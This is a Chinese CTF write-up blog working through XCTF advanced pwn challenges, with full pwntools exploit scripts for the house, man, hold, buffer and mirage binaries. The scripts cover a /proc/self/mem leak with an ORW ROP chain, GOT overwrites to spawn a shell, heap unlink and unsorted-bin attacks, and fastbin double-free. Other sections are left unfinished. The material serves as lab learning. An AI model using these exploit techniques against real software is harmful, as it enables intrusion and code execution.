攻防世界-进阶练习-2021-12
WP XCTF
House
/proc/self/maps 和 /proc/self/mem 虚拟内存泄露 + ROP
or FSOP + 栈迁移
这道题好难
保护全开
程序分析
似乎开了沙盒;检查确认下;
看来不能用execve获取shell了;试试orw。
v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 131106, -1, 0LL);
程序先mmap出一块可写的PROT_WRITE的内存。
pid = clone(fn, &v8[v7], 256, 0LL);
调用clone函数不了解。
原型
int clone(int (*fn)(void *), void *stack, int flags, void *arg, ...
/* pid_t *parent_tid, void *tls, pid_t *child_tid */ );
当使用clone()
创建子进程时,子进程会执行入参的函数fn
当fn(arg)
函数返回后,子进程就会退出。stack
参数指定了子进程使用的栈的位置。
所以这里是将mmap映射出的内存的一个位置作为子进程使用的栈位置。
for ( i = 0; i <= 29; ++i )
然后程序给了30次进行选择操作。
case1:read 0x28byte 进 buf里面;而char buf[24];
只有24byte
所以这里可以溢出0x18byte,从而覆盖掉 v8 指针。
读取buf文件,但buf不能使flag;
case2:读0x20byte到栈上;strtoul,将参数nptr字符串根据参数base来转换成无符号的长整型数。lseek让我们控制该文件的读写位置,从fd开始offset为v1的地方。
case3:一次显示fd中最大数量为100000byte的数据
v8是指向堆的指针;
case4:向v8任意写(即向堆写入)最多0x200byte;也可以结合 case1 可以达到任意地址任意写
现在就是考虑如何泄露地址信息的问题了。
一般使用gdb时,会经常用到vmmap查看进程信息权限
经过查阅资料可知:linux内核提供了一种 /proc文件系统,在该目录下有一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,数字即进程号,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。
读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址,堆地址,libc基址,mmaped地址等。
试一试,啊确实。
所以我们就有了 leak
# leak
myopen('/proc/self/maps')
output(10000)
code = int(p.recv(12),16)
print 'codebase = ' + hex(code)
p.recvline()
p.recvline()
p.recvline()
heap = int(p.recvuntil('-')[0:-1],16)
print 'heapbase = ' + hex(heap)
p.recvuntil('[heap]')
mmaped_start = int(p.recvuntil('-')[0:-1],16)
print 'mmaped_start = ' + hex(mmaped_start)
mmaped_end = int(p.recv(12),16)
print 'mmaped_end = ' + hex(mmaped_end)
p.recvline()
libcbase = int(p.recvuntil('-')[0:-1],16)
print 'libcbase = ' + hex(libcbase)
思路
一
(最近刚好在过io_file,第一时间想到FSOP)FSOP,修改 IO_list_all 指针,指向我们可控的堆v6(v8),然后伪造IO_FILE结构体和vtable指针,让指针指向我们可控的内存处。但由于禁用execve所以不太能像常规一样修改io_overflow为onegadget。而应写入gadget并去执行。
二
修改返回地址,直接rop;但fn函数末尾是exit(0)直接退出程序而不返回主函数。可以选择修改fn中调用的函数的返回地址,但需要泄露栈地址才行。但是 v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 131106, -1, 0LL);
+pid = clone((int (*)(void *))fn, &v8[v7], 256, 0LL);
结合上面所说,可以知道fn子进程的栈位置就在mmaped区段,从mmaped区段可以找到栈地址。那问题来了该怎么才能找到呢。
于是上网查资料... 发现 确实可以利用/proc
查找进程虚拟内存中的ASCII字符串;
mem文件可以让我们访问任一进程的虚拟内存
由man proc
可见:
/proc/[pid]/mem
This file can be used to access the pages of a process's memory
through open(2), read(2), and lseek(2).
从case1的buf[(int)(read(0, buf, 0x28uLL) - 1)] = 0;
可以知道我们的文件路径名是存放在fn栈的buf上的;7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0
mmaped区段可以读写,所以我们可以对/proc/self/mem文件进行内存搜索,即当我们把文件读写指针移动到这个位置上就可以泄露出栈地址。这里可以结合case2的lseek和case3显示文件内容进行此操作。
由于该位置是随机的,所以不一定每次成功,爆破下就好了,概率还是很大的。
用gdb调试计算buf栈地址与mmap_end地址的距离
hex(0x7ffff7a0d000-0x7fffe7d1d248)
offset = 0xfcefdb8 (0xfd00000)
又由于栈上从高地址向低地址增长,所以我们搜索范围为:mmaped_end - offset ~ mmaped_end
myopen("/proc/self/mem")
lseek(begin)
for i in range(0,24):
output(100000) # max
find = p.recvuntil('1.Find ')[:-7]
if "/proc/self/mem" in find:
print 'Find!'
arr = find.split('/proc/self/mem')[0]
print 'array = '+ str(len(arr))
break;
if i == 23:
print "NO!"
exit(0)
v8 = begin + i * 100000
+ len(arr) + 5
print 'v8 addr='+ hex(v8)
得到v8栈地址后把就可以计算出read_ret_addr距离v8的偏移,将v8改为read_ret,然后就是常规orw rop覆盖read函数返回地址即可。
off = 0x7fffe86c31d0-0x7fffe86c31a8 = 40
文件描述符:当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。
这里为6,因为从3开始增加,open直到最后打开flag文件,共增到了6。
二 exp
from pwn import *
context(arch = 'amd64',os='linux')#,log_level = 'debug')
def myopen(name):
p.recvuntil('5.Exit\n')
p.sendline(str(1))
p.recvuntil('So man, what are you finding?\n')
p.sendline(name)
def lseek(nptr):
p.recvuntil('5.Exit\n')
p.sendline(str(2))
p.recvuntil('So, Where are you?\n')
p.sendline(str(nptr))
def output(num):
p.recvuntil('5.Exit\n')
p.sendline(str(3))
p.recvuntil('How many things do you want to get?\n')
p.sendline(str(num))
p.recvuntil('You get something:\n')
def input(content):
p.recvuntil('5.Exit\n')
p.sendline(str(4))
p.recvuntil('What do you want to give me?\n')
p.sendline(content)
def out():
p.recvuntil('5.Exit\n')
p.sendline(str(5))
while(True):
p = process('./house')
# gdb.attach(p)
elf = ELF('./house')
#gdb.attach(p,"b open")
p.recvuntil('Do you want to help me build my room? Y/n?\n')
p.sendline('Y')
# leak
myopen('/proc/self/maps') # fd 3
output(10000)
code = int(p.recv(12),16)
print 'codebase = ' + hex(code)
p.recvline()
p.recvline()
p.recvline()
heap = int(p.recvuntil('-')[0:-1],16)
print 'heapbase = ' + hex(heap)
p.recvuntil('[heap]')
mmaped_start = int(p.recvuntil('-')[0:-1],16)
print 'mmaped_start = ' + hex(mmaped_start)
mmaped_end = int(p.recv(12),16)
print 'mmaped_end = ' + hex(mmaped_end)
p.recvline()
libcbase = int(p.recvuntil('-')[0:-1],16)
print 'libcbase = ' + hex(libcbase)
# find "/proc/self/maps" strings
offset = 0xfc00000
begin = mmaped_end - offset - 24*100000
#end = mmaped_end
myopen("/proc/self/mem") # fd 4
lseek(begin)
for i in range(0,24):
output(100000) # max
find = p.recvuntil('1.Find ')[:-7]
if "/proc/self/mem" in find:
print 'Find!'
arr = find.split('/proc/self/mem')[0]
break
if i == 23:
print "NO!"
continue
p.close()
#exit(0)
break
#raw_input()
#gdb.attach(p,"b read")
off = 0x38
buf = begin + i * 100000 + len(arr)
print 'buf addr='+ hex(buf)
ret_addr = buf-off
payload = '/proc/self/maps'.ljust(24,'\x00')+p64(ret_addr)
myopen(payload) # fd 5
bss = elf.bss() + code
read_plt = code + elf.plt['read']
write_plt = code + elf.plt['write']
open_plt = code + elf.plt['open']
pop_rdi = code + 0x1823
pop_rsi = code + 0x1821
pop_rdx = libcbase + 0x00001b92#: pop rdx ; ret
puts = code + elf.plt['puts']
flag = code + 0x193d
#open fd 6
rop = p64(pop_rdi)
rop += p64(flag)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(0)
rop += p64(open_plt)
#read
rop += p64(pop_rdi)
rop += p64(6) # fd 6
rop += p64(pop_rsi)
rop += p64(bss)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(100)
rop += p64(read_plt)
#puts
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(bss)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(100)
rop += p64(write_plt)
#raw_input()
input(rop)
p.interactive()
参考:https://www.cnblogs.com/charlieroro/p/14280738.html#linux-clone函数
hack虚拟内存:http://blog.coderhuo.tech/2017/10/12/Virtual_Memory_C_strings_proc/
man
程序分析
先进入read_name()函数创建了两个chunk,输入name ;然后sub_400B3A(qword_6020E0, fd);
带着随机数fd和game's chunk进入游戏;
name‘s chunk size:len(input)
00 name
game's chunk (0x80)
00 score (qword_6020E0)
04 name's length
08 name's ptr
进入游戏后,先得到一个放着随机数的buf,然后buf经过循环后可以知道,取模26,buf的内容变为了小写字母。
v6-1<=v5
从这里我们可以知道我们进行猜字母的次数为name's length
,while v4>0,v4=3,v4--
可知我们只有3次可以猜错。
并且他遍历buf看是否存在与我们所猜字符相同的,相同则 ++v5,v5会影响我们score(a1)*(_DWORD *)a1 = (int)((double)(v6 - 1) * 0.25 * (double)v5 + (double)*(int *)a1);
所以我们可以将name长度构造为 26,然后猜的字符为a~z
应该就可以让score>64。
思路
只要获得的分数大于64就赢了;这里是游戏成功后进入,是可以最大写0XF8byte到name's chunk
的,所以可以直接溢出覆盖掉game的name's ptr
改为libc_start_main,strchr等的GOT表从而当成name输出达到泄露目的。再玩一次游戏,就可以将strchr的GOT表改为system函数然后再赢一次游戏,将s写为/bin/sh\x00从而getshell。
exp
from pwn import *
from LibcSearcher import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
p = process('./man')
elf = ELF('./man')
#context.log_level = 'debug'
strchr_got = 0x602038
letters = "abcdefghijklmnopqrstuvwxyz"
p.recvuntil("What's your name?\n")
p.sendline('A'*0x30)
def win():
for i in letters:
line = p.recv()
if 'High score! change name?' in line:
p.sendline('y')
break
if 'Continue?' in line:
p.sendline('y')
p.sendline(i)
sleep(0.5)
win()
#p.recvuntil('High score! change name?')
sleep(0.5)
padding = 0x30
payload = 'A'*padding + p64(0) + p64(0x91) + p32(0x100) + p32(0x100) + p64(strchr_got)
p.sendline(payload)
p.recvuntil('Highest player: ')
strchr_addr = u64(p.recvuntil(' score:',drop = True).ljust(8,'\x00'))
libc_base = strchr_addr - libc.sym['strchr']
system = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system)
p.recvuntil("Continue? ")
p.sendline('y')
win()
sleep(0.5)
p.sendline(p64(system))
p.recvuntil("Continue? ")
p.sendline('y')
win()
sleep(0.5)
p.sendline('/bin/sh\x00')
p.interactive()
file
检查保护....
程序分析
这题目一看就懵了
先看看得懂的地方吧...
将v15,v17比较,如果相同则走到popen函数;
查一下:
定义函数:FILE * popen(const char * command, const char * type);
函数说明:popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c 来执行参数command 的指令。参数type 可使用 "r"代表读取,"w"代表写入。依照此type 值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。
所以v14是指令,即popen执行/bin/sh 后然后执行v14,所以如果v14为cat flag就可以拿到flag了。
getline会生成一个包含一串从输入流读入的字符的字符串,直到以下情况发生会导致生成的此字符串结束:1)到文件结束,2)遇到函数的定界符,3)输入达到最大限度。所以这里出现输入无限制;程序读入给lineptr后strcpy给dest,没啥限制,可以溢出覆盖到v14,v15.
这v15到底是个啥...
这一坨也不知道是啥,查查看看...
1、sha256算法最关键的文件sha256.c。
查看这个文件可以看到openssl如何计算sha256值:
unsigned char *SHA256(const unsigned char *d, size_t n, unsigned char *md){ SHA256_CTX c; static unsigned char m[SHA256_DIGEST_LENGTH]; if (md == NULL) md=m; SHA256_Init(&c); SHA256_Update(&c,d,n); SHA256_Final(md,&c); OPENSSL_cleanse(&c,sizeof(c)); return(md);}
可见求sha256主要是执行三个函数:SHA256_Init,SHA256_Update,SHA256_Final。
也就是对输入做了sha256加密吧...
思路
所以应该就是覆盖溢出dest,然后覆盖v14为cat flag,然后覆盖v15满足后面strcmp条件进行绕过,应该就可以了。。。
问题就在于构造v15。
red
程序分析
这整一个程序看来尤为复杂。。。函数也是看不懂的,只能挨个挨个查一下,了解下方向是哪边。。。
socket()
创建套接字
Linux 中的一切都是文件,每个文件都有一个整数类型的文件描述符;socket 也是一个文件,也有文件描述符。使用 socket() 函数创建套接字以后,返回值就是一个 int 类型的文件描述符。
bind()
主动向服务器请求连接。因此服务器需要调用bind()绑定地址
listen()
使用主动连接套接字变为被连接套接口,使得一个进程可以接受其它进程的请求,从而成为一个服务器进程。
listen函数一般在调用bind之后-调用accept之前调用。
accept()用在基于连接的套接字类型,提取出所监听套接字的等待连接队列中第一个连接请求,创建一个新的套接字,并返回指向该套接字的文件描述符
看来这是一个服务器程序,每接收到连接请求就会fork出一个子进程去处理
v8 = fork();
1)在父进程中,fork返回新创建子进程的进程ID;
2)在子进程中,fork返回0;
3)如果出现错误,fork返回一个负值;
思路
首先需要连接服务器,不过经过查阅资料,了解到一种爆破canary的方法:可以在子进程从最低byte逐字节的爆破;因为canay坏掉导致子进程崩溃并不影响父进程,而且只要父进程不重新启动,canary的值就不会改变;所以可以利用此方法进行爆破canary;
漏洞似乎在sub_402A5F里面的read可以栈溢出。。。
hold
稍微简单点的程序....
程序分析
calloc() = malloc() + memset(,0,)
Keep secret
0x6020A0 ptr_0xFA0 //big0x6020A8 ptr_0x61A80 //huge 0x6020B0 ptr_0x28 //small0X6020B8 IfA0_InUse (0/1)0x6020BC IfA8_InUse0x6020C0 IfC0_InUse
一次只能创造一个chunk,值得注意的是:当bss上存放If_InUse
的地方为0才可以再次创建。
Wipe secret
to free ptr (b/h/s)qword_ptr = 0
漏洞点:这里并没有将calloc出的指针置空,而是仅仅将bss上的If_InUse
置0了。 UAF
Renew secret
read 向chunk读数据
先试着add chunlk,huge_chunk 过大,所以肯定是会用mmap来分配空间,而small,large还是malloc分配;所以似乎huge,small与large并不在一个地方。
但是在我free掉huge_chunk后,再add时,发现他居然是用malloc分配空间的,这样他们三个就在一个大区域了。
那就可以正常利用UAF。
add(3) #huge
思路
结合keep和wipe就可以多次创建chunk;让small 和 huge 的buffer位置重叠,small下面接着bigchunk。对huge chunk 进行重新分配,对small big 进行伪造,从而进行unlink修改到堆指针,然后GOThijacking。
exp
from pwn import *from LibcSearcher import *context.log_level = 'debug'libc_path = "/lib/x86_64-linux-gnu/libc.so.6"libc = ELF(libc_path)p = process('./hold')#gdb.attach(p,"b puts")elf = ELF('./hold')ptr = 0x6020A0bss_addr = 0x602090free_got = elf.got['free']puts_plt = elf.plt['puts']read_got = elf.got['read']huge_ptr = 0x6020A8def add(secret,content): p.sendlineafter('3. Renew secret','1') p.sendlineafter('3. Huge secret',str(secret)) p.sendlineafter('Tell me your secret:',content) def delete(secret): p.sendlineafter('3. Renew secret\n','2') p.sendlineafter('3. Huge secret\n',str(secret)) def edit(secret,content): p.sendlineafter('3. Renew secret','3') p.sendlineafter('3. Huge secret',str(secret)) p.sendafter('Tell me your secret:',content)add(3,'a'*0x100)delete(3)#add(3,'b'*0x100)#delete(3)add(1,'d'*0x28)add(2,'e'*0xFA0)delete(1)delete(2)fake = p64(0) + p64(0x21) #prev_size size (fake chunk on small)fake += p64(huge_ptr-0x18) + p64(huge_ptr-0x10) # fd bkpayload = fake.ljust(0x20,'\x00')payload += p64(0x20) + p64(0x90)payload += 'B'*0x80payload += p64(0x90) + p64(0x91)payload += 'C'*0x80payload += p64(0x90) + p64(0x91)add(3,payload)delete(2) #unlink#change heap_ptr addresspayload = p64(0)*2 payload += p64(free_got) #2 bigepayload += p64(bss_addr) #3 hugepayload += p64(read_got) #1 smallpayload += p32(1)*3edit(3,payload)#leak addressedit(2,p64(puts_plt))delete(1)read_addr = u64(p.recvline().strip().ljust(8, "\x00"))libc.address += read_addr - libc.sym['read']print 'leak_read' + hex(read_addr)"""libc = LibcSearcher('read',read_addr)libc_base = read_addr - libc.dump('read')system = libc_base + libc.dump('system')binsh = libc_base + libc.dump('str_bin_sh')"""one_gadget = libc.address + 0x4525a#edit(2,p64(system))edit(2,p64(one_gadget))#edit(3,p64(0) * 2 + p64(binsh))#edit(3,p64())delete(3)p.interactive()
buffer
程序分析
这是一道菜单题。
只能分配大于0x7F的chunk,所以不能利用fastbin。
而且这里只有前两块chunk是用malloc分配,后面都是用calloc。
这里free后会将指针进行置0。
读入数据时存在 off by null 漏洞。
而且只有刚申请的chunk可以进行写入操作。
思路
应该是利用overlapped chunk进行构造chunk 从而进行unsorted bin attack;最近过io_file,所以第一时间想到house of orange;然后:
程序里有scanf函数,要是可以修改它缓冲区的buf_end为main_arena+88(&unsortedbin);就可以向buf_base->buf_end进行写入数据,从而修改malloc_hook->onegadget;
但是问题就在于布置堆风水出了大问题,又是整了很久
首先是利用unsorted bin 去 leak libc:
#leak libcalloc(p,str(0x88)) #0alloc(p,str(0x300)) #1delete(p,str(0)) #free 0alloc(p,str(0x88)) #0show(p)main_arena = u64(p.recv(6).ljust(8,'\x00'))-88print hex(main_arena)
如何泄露堆地址
先申请4个0x88堆,再free堆块1和堆块3,堆块4,这样堆块3,4,top_chunk会合并,这时top_chunk的fd会是chunk 1,所以再申请一个大于0x88的堆会从top_chunk分配再show就能泄露堆地址。
alloc(p,str(0x88))#0alloc(p,str(0x88))#1alloc(p,str(0x88))#2alloc(p,str(0x88))#3delete(p,str(0)) #free 0delete(p,str(2)) #free 2delete(p,str(3)) #free 3alloc(p,str(0x100))#0show(p)heap_addr = u64(p.recv(6).ljust(8,'\x00'))
构造overlapped chunk(重叠的块):
还是常规先add 4 块chunk : 0x88,0x400,0x100,0x88(0,1,2,3);把0,1free掉,再add 0回来然后对1进行off by null;但1还在unsortedbin里面;再add chunk,即从unsorted bin 1 进行分割出空间;然后利用之前的3创造出重叠的chunk;
unsortedbin attack 修改IO_buf_END;
scanf 写入的时候会先将输入的内容copy到streambuf上面,以buf_base-buf_end;也就是说我们可以任意写入值到buf_base到buf_end之间,而这之间就存在malloc_hook。vtable就不需要修改了。
exp
from pwn import *p = process('./buffer')#gdb.attach(p)#context.log_level = 'debug'p.recvuntil('>> ')def alloc(p,size): p.sendline('1') p.recvuntil('Size: ') p.sendline(size) p.recvuntil('>> ')def delete(p,index): p.sendline('2') p.recvuntil('Index: ') p.sendline(index) p.recvuntil('>> ')def fill(p,content): p.sendline('3') p.recvuntil('Content: ') p.send(content) p.recvuntil('>> ')def show(p): p.sendline('4')#leak libcalloc(p,str(0x88)) #0alloc(p,str(0x300)) #1delete(p,str(0)) #free 0alloc(p,str(0x88)) #0show(p)main_arena = u64(p.recv(6).ljust(8,'\x00'))-88print hex(main_arena)p.recvuntil('>> ')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('./libc.so.6')malloc_hook = main_arena-0x10io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook']jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook']system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook']stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook']binsh = libc.search('/bin/sh\x00').next()+malloc_hook-libc.symbols['__malloc_hook']one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook']print 'one_gadget:',hex(one_gadget)#one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook']print 'stdin:',hex(stdin)print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440)#cleardelete(p,str(0))delete(p,str(1)) #leak heapalloc(p,str(0x88))#0alloc(p,str(0x88))#1alloc(p,str(0x88))#2alloc(p,str(0x88))#3delete(p,str(0)) #free 0delete(p,str(2)) #free 2delete(p,str(3)) #free 3alloc(p,str(0x100))#0show(p)heap_addr = u64(p.recv(6).ljust(8,'\x00'))fake_heap = heap_addr-0x20+0x18print hex(heap_addr)#clearp.recvuntil('>> ')delete(p,str(0))delete(p,str(1)) #unsafe unlinkalloc(p,str(0x88))#0alloc(p,str(0x400))#1alloc(p,str(0x100))#2alloc(p,str(0x88))#3 delete(p,str(0))delete(p,str(1))alloc(p,str(0x88))#0payload = 'a'*0x88fill(p,payload) alloc(p,str(0x88)) #1alloc(p,str(0x88)) #4alloc(p,str(0x200)) #5alloc(p,str(0xb8)) #6 delete(p,str(1))delete(p,str(2))delete(p,str(5)) alloc(p,str(0x518))payload = 'a'*0x80payload += p64(0) + p64(0x91)payload += 'b'*0x80payload += p64(0) + p64(0x211)payload += p64(main_arena+88) + p64(stdin+0x30)fill(p,payload+'\n') alloc(p,str(0x208))payload = '1\n\x00\x00\x00'payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)payload = payload.ljust(0x1ad,'\x00')payload += p64(one_gadget) p.sendline(payload)p.recvuntil('Size: ')p.sendline(str(0x88))p.interactive()
age
程序分析
正着看好像不太顺。
发现有后门函数,从这里x一下看看调用者函数。这里只需要目标地址满足条件就可以getshell。
从main函数调用,与v3有关。
ntohl函数
ntohl()指的是ntohl函数,是将一个无符号长整形数从网络字节顺序转换为主机字节顺序, ntohl()返回一个以主机字节顺序表达的数
然后似乎就是s前4byte需要输入RPCM
从而不会跳转。
前面一堆挺复杂的,还是直接关注调用sfadkjf那里:v3 == ’B‘就可以。
sfadkjf
就是传统的菜单。
初始化了chunk数量为-1.
creat_chunk
因此我们可以创建49个chunk
delete_chunk
对下标检查很少:不等于-1,小于最大数量。那么可以输入-2,-3等。
从要free的ptr位置开始,对list数组进行覆盖赋值,移动后面的ptr到前面来。
但这里并不会对下标为47,48的chunk的ptr进行处理,所以堆指针保留在了list数组里面。所以可以对47,48进行double free等操作。
buf = malloc(0x14uLL);
:所malloc的chunk均属于fastbin范围内。直接想到fastbin attack。
但是这里让我们不能输入 '-'
。由于负数在计算机中以补码的方式存储最高位为符号位,那我们可以以补码的形式进行输入;
比如 -2 :1111 1111 1111 1111 1111 1111 1111 1110
思路
利用下标47的chunk进行double free 去构造fastbin的循环链表。将chunk malloc 在 chunk_number处,但在那里还需要伪造chunk信息才能malloc成功,然后修改目标地址数据 number_chunk +8 为0xEF即可。这里伪造信息:
bss (fake fastbinchunk)0x60514c-0x8 0 prev_size0x60514c chunk_number () size0x60514c+0x8 target_address (fd)
exp
from pwn import * sh = process('./mirage')chunk_number_addr = 0x60514C def init(): sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big')) #s[2] = 'B' # 0 # 1 # Bdef create(content): sh.sendlineafter('> ','1') sh.sendafter('content: ',content) def show(index): sh.sendlineafter('> ','2') sh.sendlineafter('id: ',str(index)) def delete(index): sh.sendlineafter('> ','3') s = str(index) sh.sendlineafter('id: ',str(index)) init()for i in range(49): create('A'*0x4) delete(47)delete(0)delete(46) #47for i in range(2): delete(0b11111111111111111111111111111110) #delete(-2)#fake chunkcreate(p32(chunk_number_addr - 0x8)) #chunk headcreate('a'*0x4)create('a'*0x4)create(p32(0xEF)) #fd target#getshellsh.sendlineafter('> ','5') sh.interactive()
milk
程序分析
一道c++写的菜单题。好复杂的样子啊。